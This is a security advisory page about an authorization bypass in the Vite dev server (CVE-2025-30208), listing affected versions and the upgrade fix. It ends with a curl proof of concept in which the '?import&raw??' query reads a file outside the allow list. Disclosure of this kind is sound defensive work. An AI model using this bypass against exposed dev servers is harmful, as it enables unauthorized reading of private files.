Incorrect Authorization Affecting vite package, versions <4.5.10>=5.0.0 <5.4.15>=6.0.0 <6.0.12>=6.1.0 <6.1.2>=6.2.0 <6.2.3


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-VITE-9512410
  • published25 Mar 2025
  • disclosed24 Mar 2025
  • creditEzzer17

Introduced: 24 Mar 2025

NewCVE-2025-30208  (opens in a new tab)
CWE-200  (opens in a new tab)
CWE-863  (opens in a new tab)

How to fix?

Upgrade vite to version 4.5.10, 5.4.15, 6.0.12, 6.1.2, 6.2.3 or higher.

Overview

vite is a Native-ESM powered web dev build tool

Affected versions of this package are vulnerable to Incorrect Authorization due to missing checks in transformMiddleware() which ignore certain query parameters. An attacker can access unauthorized files by including a ?raw?? or ?import&raw?? URL parameter. The allow list used by server.fs.deny() is not checked when handling these queries and the file contents are returned.

Note: The dev server is configured by default to be inaccessible. This is only exploitable if the dev server is exposed to the network with either the --host command line option or server.host config option.

PoC


$ echo "top secret content" > /tmp/secret.txt

# expected behavior
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"

CVSS Base Scores

version 4.0
version 3.1